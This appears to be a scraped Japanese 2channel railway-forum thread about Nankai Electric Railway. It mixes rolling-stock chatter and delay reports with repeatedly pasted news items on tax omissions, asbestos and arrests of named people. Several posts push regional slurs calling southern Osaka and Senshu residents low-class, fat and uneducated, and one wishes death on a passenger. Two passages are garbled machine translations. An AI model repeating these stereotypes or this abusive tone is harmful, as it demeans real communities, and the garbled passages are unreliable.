海ヲタって、相当根性曲がってるよな>126五十歩百歩>126しかも、西武鉄道と西武球団が別法人ということすら理解できていないらしい。さすが南大バカ人、オツムが足りてないw南海の便所、くせぇ！だから液晶なんかいらん
から、普通の新車を・・・。だから〜液晶よりももっと大事なもんが・・・もうええわ。>333帰れ南海は、阪急や阪神はおろか、おけいはんにすら負けてるからなぁ。情けないもんだよ。おやすみん

南海ヲタの一日PM1:00起床。⊂(＾ω＾⊂⌒｀つおはようおPM3:00|￣／|(＾ω＾)ｶﾁｶﾁ7000系楽しいお|□|σノ）|￣￣￣￣￣|PM9:00ｼｭｯｼｭｯ＿＿＿＿(＾ω＾)気持ちいいおヽ潤ｵ/（ヽ♂彡[二二]」」",PM23:59:59|￣／|(＾ω＾)ｶﾁ
ｶﾁ楽しいお|□|σノ）|￣￣￣￣￣|AM6:00(＾ω＾)おやすみお／⌒⌒⌒⌒⌒ヽ／／￣￣フ／／（＿＿＿／／（＿＿＿＿＿_／＿＿＿＿＿＿＿＿＿＿＿＿＿＿＜○√＜○√父→‖‖←母くくくく

>520海猿ライト兄弟のはなしもやれや>520その従姉妹にはスミレの花が咲く遠い親戚がいたその親戚はよばい４０歳にてスーパーエステティックテクニックを覚えた東京タワーのオカンが渋谷のいけいけギャルに蘇えったような
ものだ。従姉妹の変身ぶりに俺もと思う長男だった>526その親戚は２卵生の双子でひとりは“ふたりっ子”の舞台に毎日顔をだしている 堺市西区鳳のいまはなき産婦人科で生まれた長男にもエステをやってあげたいな。ちなみ
に鳳生まれと徳庵生まれが数名残るだけで実はここの一家はハイカラなハマっ子だったりする。

>557親父の兄の息子つまり長男の同じ歳のイトコは片開きの、塩害の、寿命のと陰口を叩かれたがスミレの花が咲く遠い親戚見習ってエステに通う決心をしたようだ。

７０００系はエステ

昨日4月29日午後3時32分、なんさん通りから１本入っただけの難波駅前で、おっさんが真っ昼間から立っションしてた。「南海の駅前はしょんべん臭い」っていう書き込みは煽りやと思ってたけど、これマジやな。真っ昼間に駅
からすぐの通りでチンポ丸出しで、リアルでひいたわ。

>603なんだ？1000系を増備したら>>599の妄想くさい8000系が作成されると？

おやすみん

1000系が増えることはないのか8000が1000系ぽくなるような気はしないし。終わったなおやすみんとおはよう南海HPで8000系が公式発表されてるね。8000系は確実なのか？他系番で新車は考えづらいかな？最近やと2300系1051系
やけどさ、個人的には1000系を増やしてほしい。クーラー入れるのはいいんやけど、雨で冷え込んでるたり、4月からガンガンに入れたり。考えて入れてほしいもんだな接続の悪さや特急が毎時2本とか、全部合わせて本社にモニ
ター意見として伝えておこう。他に何かあるか？関西の鉄道には恨みしかない。大阪の民度って、川が分かれ目になっていることが、研究の結果わかった。淀川以北は民度が高い。淀川以南大和川以北は民度が低い。大和川以南
は民度が低い上に程度が低く、行儀が悪い。こいつらに“守秘義務”や“コンプライアンス”や“企業ガバナンス”言っても“馬の耳に念仏”なんだろうなあ・・・・

何で泉北3000が廃車になっているのに、それよりも古い南海の車輌にならないの？>833南海は貧乏だからベンチレーターの馬鹿デカい車両は全て廃車汁。ほんと南海はしょっちゅうダイヤ乱れんな便所は汚ねーとこばっかだし最
寄り駅にJRが通ってないから仕方なく南海なんぞを利用してるがあの青と黄の車体見るだけで気分悪い駅員はやる気のない低能ばかりだし納税義務者一人あたりの課税対象所得単位は万円ソースは毎日１、阪急宝塚・千里線地区
(広義での北摂豊能地区)平均438豊能町472箕面市470吹田市436豊中市435池田市423能勢町367２、南海高野・近鉄長野線地区(一部を除く南河内)平均412河内長野市422大阪狭山市422河南町401太子町400富田林市399千早赤阪村393
３、京阪・片町線東部地区(北河内東部)平均401交野市415枚方市403四条畷市368》》》》》》》》》》平均400の壁《《《《《《《《《《４、阪急京都線地区(一部を除く北摂三島地区)平均385茨木市402島本町400高槻市382摂津
市343堺市375５、阪和・南海本線北部地区(泉北)平均375高石市385和泉市380泉大津市361忠岡町338６、関西・近鉄線地区(中河内と南河内の一部)平均358藤井寺市380羽曳野市375八尾市367柏原市367松原市352東大阪市348７、阪
和・南海本線南部地区(泉南)平均354泉南市415熊取町396阪南市374田尻町357岬町353岸和田市352貝塚市347泉佐野市336大阪市348８、京阪・片町西部地区(北河内西部)平均344寝屋川市359守口市340大東市340門真市324阪急宝塚
、千里＞南海高野、近鉄長野＞京阪沿線東部＞阪急京都＞阪和、南海本線北部＞近鉄沿線＞阪和、南海本線南部＞京阪沿線西部

難波よりレポートまだおくれてるもよう。アップするんで待ってけろ約15分遅れてます。ttp://f.pic.to/dxo9qttp://d.pic.to/hkvyb今から帰りまー電車くるまでレポ続けまttp://a.pic.to/gfxie遅れてますーそこに6222がwttp
://q.pic.to/ba9v5パークス到着wwww3分発の区急も1000系！1000系のれるぞおーやた駅員と乗客がもめ始めた。何やらホームに人いっぱいなのでうざいから何とかしろとのこと。その隣の女はお腹すいたーとわめくww何だこいつ
らはw今区急発車しました！4分の遅れですまもなく堺ここから徐行運転になるようです。普通車の停車も20分になっているもよう普通に運転再開！快調に飛ばしております岸和田到着！遅れ回復してきてるみたいだ貝塚到着徐行
また始まった

>870お前何でたらめ言ってんの？仮称8000系は三菱「モニタ」は載せてるが「TIS」じゃねーよ。当初はTIS、TIMS含めて検討はしたみたいだけどな。

◆◇◆◇◆南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◆◇◆◇◆南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されてい
たことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同
社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にした
という。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/new
s/topics/index/02122/1.html◆◇◆◇◆南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの
疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29
日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/h
l?a=20060725-00000096-jij-soci◆◇◆◇◆南海電鉄、不動産評価損２００億円旅館など７社解散へ◆◇◆◇◆南海電気鉄道は２５日、造成を当面凍結する分譲用地の評価損約１９８億円を計上し、０７年３月期の当期利益見通
しを７８億円から２３億円に下方修正した、と発表した。経営難の子会社など７社の解散も併せて明らかにした。同社は、沿線の和歌山県橋本市で開発を進めてきた「南海橋本林間田園都市」（計画面積約６６８ヘクタール）の

新たな造成を凍結、７０年前後に取得した山林約２００ヘクタールの評価を見直した。同都市の計画人口は約４万２０００人だが、現在は約１万２０００人にとどまっている。解散を決めたのは、昨年末で大阪市での営業を終え
た「ホテル南海」、今月末でフェリーの運航を終了する「南海淡路ライン」、和歌山市の旅館を３月に地元企業に売却する「萬波楼」など。ttp://www.asahi.com/business/update/0125/181.html◆◇◆◇◆減損処理で当期赤字
に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生
した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html◆◇◆◇◆南海電鉄アスベストむき出し◆◇◆◇◆南海電鉄によりますと、あわせて１３の駅
で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。こ
のうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でも
アスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、こ
のうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。このほか、近鉄
でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html

分散して乗るように言えよほんま。アホな行楽客が難波方１両目に集中して乗りよる>150なかーまアホ客が集中して同じ車両に乗るからうざくてしかたない。ガラガラな車両いっぱいあるのにまったくだよな指定席は時間帯見て
やめた方がいいんでないか？と思う。10時発とかいっぱいすぎるしありえん泉州に、他の地域と比べてデブがやたらと多い理由が解明された。まず、泉州は教育水準が低く、中卒・高卒・三流大学出ばかりで就職戦線では相手に
もされず低所得の仕事にしか就けないため、低所得の人間ばかりが製造される。すると、体のことを考えた野菜や魚や肉などを買う経済的余裕がなく、栄養バランスの取れた食事ができず、脂身だらけの肉やスナック菓子などし
か買えないため、デブになってしまうのである。また、教育水準が低いため、そもそも栄養学的な知識がないことも大きく関係している。車で移動しまくりやからやろ＞デブばっかの奴ら>172いや、俺は堺で区急を横で見てた１
両目は駅員が押し屋になってるほどだったけど６両目なんか立ち客がちょっといるだけで駅員が誘導したらだいぶマシなのにね。って思ったので>178いやぁ別に2chなんだから気使うことなんかねぇさ今日関空７時の羽田行きに
乗ったが穴のスキップてすごいな関空駅に６時３９分着の電車でも７時の便に難なく乗れちゃうんだもんなあちなみにに今羽田２１時５０分発で関空２３時１４分発に飛び乗るのだ関空って便利やな別に乗ったわけじゃないし偉
そうでもない。俺は前には乗ることはないが隣車両が込みすぎてるからゆうたまで。南海のダイヤと車両の使い方に不満があるのはお前らも一緒だと思われ

Ｂ７４４ってすごいな羽田から５０分で関空に着陸しやがるただこんな時間に５００人も客おらんのが大問題だが

南海ホークス対近鉄バファローズの試合で交わされていた、関西人なら誰でも知ってる有名なヤジ勝った勝ったまた勝った！弱い南海にまた勝ったぁ！南海電車ぁボロ電車ぁ〜近鉄電車二階建てぇ〜！

さすが南海ヲタ平然と他スレを荒らし回っている119：：2007/05/05(土)23:37:02ID:5eow1jRAさすが負け組交通費を安く上げる知恵は一人前だな

乗っちゃいました。グラグラいっぱいですた宇宙までは是非7000系で

交換された関西からの全ての人々が知っていた有名な南海電車は、
近鉄バッファローズ対南の海ホークスの試合によって、
それをアッー！もう一度それを打ってください！
それは、再び弱い南海のマサルったぁです！
南海はぁボロ電車ぁを訓練します - 近鉄電車は、ハウスてぇをtwo-storiedしました...！

に・・・日本語でおｋなんだぜ・・・

sage

南海電車ぁボロ電車ぁ〜近鉄電車二階建てぇ〜！
warosu

私は、6,500,000,000円新しい損益を得たおよそ200ヘクタールの森の評価を
概説しました。源：私はそれをまとめました、そして、私は裸になります。
電気的な南の海はアスベスト裸。南海電気鉄道に鉄道を敷設します、
部分はアスベストが13の駅で使われてある天井のはりなどになしで盗まれる薬で固定するために
ステップをしないためにそうです私はしっかりと閉鎖されている坂石に大阪市と6つの駅にどれに
アスベストをスプレーしました、とりわけ。これらのうち、私は全体でアスベストを除去します、
しかし、一致して、駅はすぐに予定される再建のために当面は5つの他の駅で除去または封をする
ことのようなだいたい新しいステップを考え出さないことであります。南の海電気鉄道の一般的な
情勢部はアスベストがこれについて現在の状況の下で散らばるという恐れがないと仮定します、
そして、アスベストが示す駅はどこかで澄みません。他方、主要な個人的な鉄道（大阪の京阪地区
電気鉄道）によると、アスベストは4つの駅に建物にスプレーされます、そして、これらの、
アスベストは大阪/枚方市のムラノ駅の屋根の一部で裸になることです。京阪地区電気鉄道さえ
アスベストが散らばるほとんど心配がないと仮定します、しかし、すぐにそれを取り除くことは
南の海の習慣となっておりません。

雨降ってんのに放火とは馬鹿らしい雨・・・7000系に乗るのは危険ですから止めましょう南海貝塚駅前って、口論やケンカで怒鳴り声は日常茶飯事やし。社長が交代なんだなダイヤもっと改善してくれ7000などいらんから1000を
増やしてくれ寝る6200も魔王なのか？7000とは別居という説もある1000系と50000系にはには負ける8200系は勝ち組りんくうタウンでも負け組が分かるなjr液晶南海パタパタ泉佐野であの液晶なんだからりんくうタウンもこれに
しろよなＰＩＴＡＰＡじゃなくてＰＡＴＡＰＡでいいんじゃないか？AAAだぞ>640神秘の領域と言ってくれ液晶やんLEDとでも言いたいのか片開きドア車が２連続で来るなんて、ここ腐ってるな。りんくうに液晶カモーンホームペ
ーシに全駅の紹介乗せろよなJRは全駅の構内図あるのに南海は無い難解だな>742南海ってどれもボロ車ばっかりだけどなw>734競合していない阪急阪神に対して「心地よいアナウンスのサービス」で無意味な対決をするとは、次
の社長は真正アホか？他にもうちょっとマシなアイデア思いつかんのか？早く南海沿線の自治体が破綻しないかなー。

◆◇◆◇◆南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◆◇◆◇◆南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されてい
たことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同
社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にした
という。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/new
s/topics/index/02122/1.htmlｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､,-､ｌ））|
￣l￣￣__|.￣ｌ￣.|_|-|,=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓〓〓-ｲ／ヽ人_（ヽwww.asahi.com/kansai/news/OSK200605120072.html／／Θヽ｜/￣￣￣ヽ
-ｲ南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期
損益は６５億円の赤字になった。◆◇◆◇◆南海電鉄アスベストむき出し◆◇◆◇◆南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベスト
を吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つ

の駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明
らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。
京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っている
ため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄
高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)
の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「
子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面◆◇◆◇◆南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて
体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合
意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（時事通
信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-00000096-jij-soci

＜南海の２０年３月期の連結業績予想＞中間期の当期純利益：２３億円の赤字←(´,_ゝ`)ﾌﾟｯ

>90関空会社の発行社債を日本銀行が買い取ることで連絡橋の加算運賃、連絡橋の通行料、空港島内の駐車料金をタダに出来ないかな？

南海電車ぁボロ電車ぁ〜近鉄電車二階建てぇ〜！

阪神電車ぁ高加速〜南海電車ぁ低加速〜！

阪急電車ぁ安運賃〜南海電車ぁ高運賃〜！

>111関空のクルマ利用は何も旅客のマイカーだけちゃいまっせ〜。連絡橋をタダにすることは航空貨物を空港まで、から運ぶトラックの運送コストに跳ね返る。つまりだ、数円足りと言えどアンタにも間接的に利益還元されるんだよ。

>210梅田みたいに建て替えずに済むみたいだな高島屋新本館の完成を待って既存店舗建物を改修するってことかなそれより俺はヤマダ電機の隣に何が建つのかが楽しみなんだが梅田ってさあ、阪急百貨店に阪神百貨店に富国生命
ビル軒並み建て替えじゃん。これってやっぱ１．１７の後遺症ちゃうん？建て替え、改修が免れてる還暦建物は大丸心斎橋くらいか？

阪神電車阪急電車

ああああああああああああああああああああああああああああああああああああああ

できるだけ詳しく

株式会社南海電気軌道で、東証はどうなったのかね新車導入はありません。7000も6000も6200も秋以降順次更新工事を実施します。経営が苦しいから、7000系を全然廃車できない>324金融機関から融資を受けられないのでできな
い》323じゃあ阪急流でいこうやアーバンスレで言われてるＥ２３３南海版は登場しまい設備投資をしても初めだけに終わるのが南海だな第一期パークス開業もそうだが、梅田の方がいいぞパークスタワーパークスマンションは
分かるが、スイスホテルて何だ？ラビ1の間違いか？ダイヤ改正そろそろか？高架工事に合わすんじゃない？てゆうか雨だな、7000がryまっこうゆうこともあるから早く新車を。。。新車がくれば7000は廃車ありえるの？南海は
ぼろい南海のもう一つの顔が北朝鮮おやすこみんロボは海南

高野山に行ってきたが隣にきた禿盆山がカナリのドキュン車内で食べ散らかした上に足を乗せる、高野山で葬り去られてしまえカス死ねttp://l.pic.to/9isezttp://g.pic.to/chklh

御堂筋が一方通行になったとき、じつはこういう経緯があった。交通量が増え、渋滞が蔓延化した際、当然北行き一方通行にするか南行き一方通行にするかの二案があったわけだが、阪急を中心とするキタの梅田の方が、南海を
中心とするミナミの難波よりも進んでおり、モノや情報も集まっていたため、キタからミナミへトレンドを流さなければ遅れた難波はさらに取り残されてしまうという危惧から、御堂筋線はミナミ行き一方通行に決定されたので
ある。そして梅田が難波よりも進んでいるという傾向は、数十年たった今でもいまだに変わらない。

ちなみに、南海の本拠地のミナミと南海沿線の西成と南海沿線の泉佐野の大阪三大ＤＱＮがタッグを組んだらこうなる。●食事中の女性客を拉致し暴行、ステーキ店長ら逮捕…大阪大阪・ミナミのステーキチェーン店「ペッパー
ランチ」心斎橋店で、食事中の２０歳代の女性客を拉致し、乱暴するなどしたとして、大阪府警南署が、同店店長北山大輔（２５）（泉佐野市）、店員三宅正信（２５）（大阪市西成区）の両容疑者を強盗強姦（ごうかん）と逮
捕監禁致傷の疑いで逮捕していたことがわかった。２人は「女性を囲っておくつもりだった」と供述しているという。調べでは、北山容疑者らは９日午前０時２０分ごろ、大阪市中央区の心斎橋筋商店街近くにある同店で、閉店
作業を装って店のシャッターを閉め、１人で食事中だった女性客を「逃げたら殺す」とスタンガンで脅し、無理やり睡眠薬を飲ませて泉佐野市内の貸しガレージまで車で連れ去って乱暴したうえ、５万５０００円入りの財布を奪
った疑い。当時、店内には他に客はいなかった。女性はその後も手足を縛られたままガレージに止めた車の中に監禁されていたが、同９時すぎ、自力で脱出して近所の人に助けを求めた。通報を受けた同署員が、事件後に再び出
勤していた北山、三宅両容疑者を任意同行し、逮捕した。２人は事件当時、制服姿で、調べに対し、「インターネットなどでスタンガンや睡眠薬を購入し、女性客を物色していた」などと話している。「ペッパーランチ」は、レ
ストラン経営や食材販売などを手がけるペッパーフードサービス（東京）が１９９４年から２００店舗以上を展開、ステーキやハンバーグなどを手ごろな価格で提供している全国チェーン。（2007年5月16日14時33分読売新聞）t
tp://www.yomiuri.co.jp/national/news/20070516it04.htm

株式会社ペッパーフードサービスの南海沿線事件についての謝罪文↓ttp://www.pepperlunch.com/

パークスやらシティーやら、何時から南海は商業会社になったんだ7000系や6200系の更新は？

ttp://l.pic.to/9isez

ttp://g.pic.to/chklh

南海

sage

関空の客がかなり乗ってきたら7000系全廃する予定だったもうすでに関空のラピートはがらがらでその夢は消えた南海はぼろい前代未聞だってさ。別に珍しくもないけど。ttp://www.youtube.com/watch?v=HZeeyrIJZKIttp://www
.youtube.com/watch?v=REuakrwdy84&mode=related&search=ジャーナリストの大谷に言わせると、南大阪人は脳みそが足りないだってさ。弁護士の橋下に言わせると、南大阪人は幼稚で先のことを全然考えてないんだってさ。ttp
://www.youtube.com/watch?v=8OaMJP5J5TI&mode=related&search=ttp://hobby9.2ch.net/test/read.cgi/rail/1179809162立てました。◆◇◆◇◆南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◆◇◆◇◆南海電気
鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００
万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし
、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミス
があったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆南海電鉄アスベストむき出し◆◇◆◇◆南海電鉄
によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取
られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについ

て南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアス
ベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去するこ
とにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802
000028.html◆◇◆◇◆南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの疑いで、南海電鉄
の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29日夜、神戸市北区
有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/hl?a=20060725-000
00096-jij-sociｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､, -､ｌ））|￣l￣￣__|.￣
ｌ￣.| _|　-|,=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓〓〓-ｲ／ヽ人_（ヽwww.asahi.com/kansai/news/OSK200605120072.html／／Θヽ｜/￣￣￣ヽ-ｲ南海電気
鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５

億円の赤字になった。南海の本拠地のミナミと南海沿線の西成と南海沿線の泉佐野の大阪三大ＤＱＮがタッグを組んだらこうなる。●食事中の女性客を拉致し暴行、ステーキ店長ら逮捕…大阪大阪・ミナミのステーキチェーン店
「ペッパーランチ」心斎橋店で、食事中の２０歳代の女性客を拉致し、乱暴するなどしたとして、大阪府警南署が、同店店長北山大輔（２５）（泉佐野市）、店員三宅正信（２５）（大阪市西成区）の両容疑者を強盗強姦（ごう
かん）と逮捕監禁致傷の疑いで逮捕していたことがわかった。２人は「女性を囲っておくつもりだった」と供述しているという。調べでは、北山容疑者らは９日午前０時２０分ごろ、大阪市中央区の心斎橋筋商店街近くにある同
店で、閉店作業を装って店のシャッターを閉め、１人で食事中だった女性客を「逃げたら殺す」とスタンガンで脅し、無理やり睡眠薬を飲ませて泉佐野市内の貸しガレージまで車で連れ去って乱暴したうえ、５万５０００円入り
の財布を奪った疑い。当時、店内には他に客はいなかった。女性はその後も手足を縛られたままガレージに止めた車の中に監禁されていたが、同９時すぎ、自力で脱出して近所の人に助けを求めた。通報を受けた同署員が、事件
後に再び出勤していた北山、三宅両容疑者を任意同行し、逮捕した。２人は事件当時、制服姿で、調べに対し、「インターネットなどでスタンガンや睡眠薬を購入し、女性客を物色していた」などと話している。「ペッパーラン
チ」は、レストラン経営や食材販売などを手がけるペッパーフードサービス（東京）が１９９４年から２００店舗以上を展開、ステーキやハンバーグなどを手ごろな価格で提供している全国チェーン。（2007年5月16日14時33分
読売新聞）ttp://www.yomiuri.co.jp/national/news/20070516it04.htm＜世界遺産登録に南海電鉄‘待った！�Vの妨害＞■「世界遺産登録に“超高層”の影」2006/05/23 放送（長文のため一部省略）この４月に関西で４番目、全
国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去

年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設
予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南
海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違
和感のない景観だと思っています」＜続く＞ ＜世界遺産登録に南海電鉄‘待った！�Vの妨害＞〜「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」〜（京都府立大学・宗田好史
助教授談）しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです
。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建
物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府
立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml住んでみたい

街（関西）トップは「芦屋」ttp://allabout.co.jp/house/townkansai/closeup/CU20060925A/ん？南海ヲタの唯一のよりどころである帝塚山がランクインしてませんなぁ（´,_ゝ｀）ﾌﾟｯああ！なるほど！みんな高民度の阪急沿線
